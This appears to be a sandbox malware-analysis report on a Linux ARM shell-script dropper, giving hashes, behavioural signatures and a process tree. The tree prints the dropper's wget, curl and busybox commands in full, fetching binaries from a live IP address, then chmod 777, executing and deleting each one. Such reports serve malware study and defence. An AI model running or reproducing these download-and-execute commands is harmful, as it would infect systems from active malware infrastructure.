Analysis

  • max time kernel
    30s
  • max time network
    57s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 01:44

General

  • Target

    19df6cfdcbf47f7d2db1e142b07bfd09db79bd1ade8c6f87ae300b7e07299813.sh

  • Size

    10KB

  • MD5

    c3a67442db56ee6d5718cb9b8748a2a7

  • SHA1

    7439efa913e1f900f72ff80e1a271b84fe407877

  • SHA256

    19df6cfdcbf47f7d2db1e142b07bfd09db79bd1ade8c6f87ae300b7e07299813

  • SHA512

    ee896800093e9a5525f3110d7dbb4a475f534a1c1277c266f4f35ef58d6578e346eff768abda3f17514bbfd1ee925002de937c6bc213a20d18912936e415db73

  • SSDEEP

    192:0PXUAsXN4PcoJwIYVV7OyGe4qS5pcoJwIhyGe4qS9QPXUAsXq:0PXUDXN4PcoJwIYVV7OyGBqS5pcoJwIA

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/19df6cfdcbf47f7d2db1e142b07bfd09db79bd1ade8c6f87ae300b7e07299813.sh
    /tmp/19df6cfdcbf47f7d2db1e142b07bfd09db79bd1ade8c6f87ae300b7e07299813.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://87.120.126.196/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
          2⤵
            PID:669
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:678
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
            2⤵
              PID:686
            • /bin/chmod
              chmod 777 abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
              • File and Directory Permissions Modification
              PID:689
            • /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              ./abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
              • Executes dropped EXE
              PID:691
            • /bin/rm
              rm abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
                PID:692
              • /usr/bin/wget
                wget http://87.120.126.196/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                2⤵
                  PID:694
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:768
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                  2⤵
                    PID:775
                  • /bin/chmod
                    chmod 777 MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                    • File and Directory Permissions Modification
                    PID:778
                  • /tmp/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    ./MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                    • Executes dropped EXE
                    PID:779
                  • /bin/rm
                    rm MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                      PID:780
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                      2⤵
                        PID:781
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:782
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                        2⤵
                          PID:783
                        • /bin/chmod
                          chmod 777 xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                          • File and Directory Permissions Modification
                          PID:784
                        • /tmp/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          ./xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                          • Executes dropped EXE
                          PID:785
                        • /bin/rm
                          rm xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                            PID:786
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                            2⤵
                              PID:787
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:788
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                              2⤵
                                PID:789
                              • /bin/chmod
                                chmod 777 mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                • File and Directory Permissions Modification
                                PID:790
                              • /tmp/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                ./mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                • Executes dropped EXE
                                PID:791
                              • /bin/rm
                                rm mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                  PID:792
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                  2⤵
                                    PID:793
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:794
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                    2⤵
                                      PID:795
                                    • /bin/chmod
                                      chmod 777 XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:796
                                    • /tmp/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                      ./XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                      2⤵
                                      • Executes dropped EXE
                                      PID:797
                                    • /bin/rm
                                      rm XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                      2⤵
                                        PID:798
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                        2⤵
                                          PID:799
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:800
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                          2⤵
                                            PID:801
                                          • /bin/chmod
                                            chmod 777 OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:802
                                          • /tmp/OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                            ./OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                            2⤵
                                            • Executes dropped EXE
                                            PID:803
                                          • /bin/rm
                                            rm OF8BVqgclfW1PJc5s0Flf7SDsAO86HDTTg
                                            2⤵
                                              PID:804
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                              2⤵
                                                PID:805
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:806
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                2⤵
                                                  PID:807
                                                • /bin/chmod
                                                  chmod 777 TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:808
                                                • /tmp/TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                  ./TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:809
                                                • /bin/rm
                                                  rm TJSNIMAW77DMXYrZaJLuvcZsxgxfMTH4iq
                                                  2⤵
                                                    PID:810
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                    2⤵
                                                      PID:812
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:817
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                      2⤵
                                                        PID:818
                                                      • /bin/chmod
                                                        chmod 777 LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:819
                                                      • /tmp/LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                        ./LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:820
                                                      • /bin/rm
                                                        rm LllyFNVEWFL5gyfixNGScRRr2aaRmfzJ2z
                                                        2⤵
                                                          PID:821
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/thJgPz44pGeijoAzwoLvGC6tTm5uuQl7P3
                                                          2⤵
                                                            PID:822
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.126.196/bins/thJgPz44pGeijoAzwoLvGC6tTm5uuQl7P3
                                                            2⤵
                                                              PID:823

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a

                                                            Filesize

                                                            153B

                                                            MD5

                                                            998368d7c95ea4293237f2320546e440

                                                            SHA1

                                                            30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                            SHA256

                                                            533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                            SHA512

                                                            648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97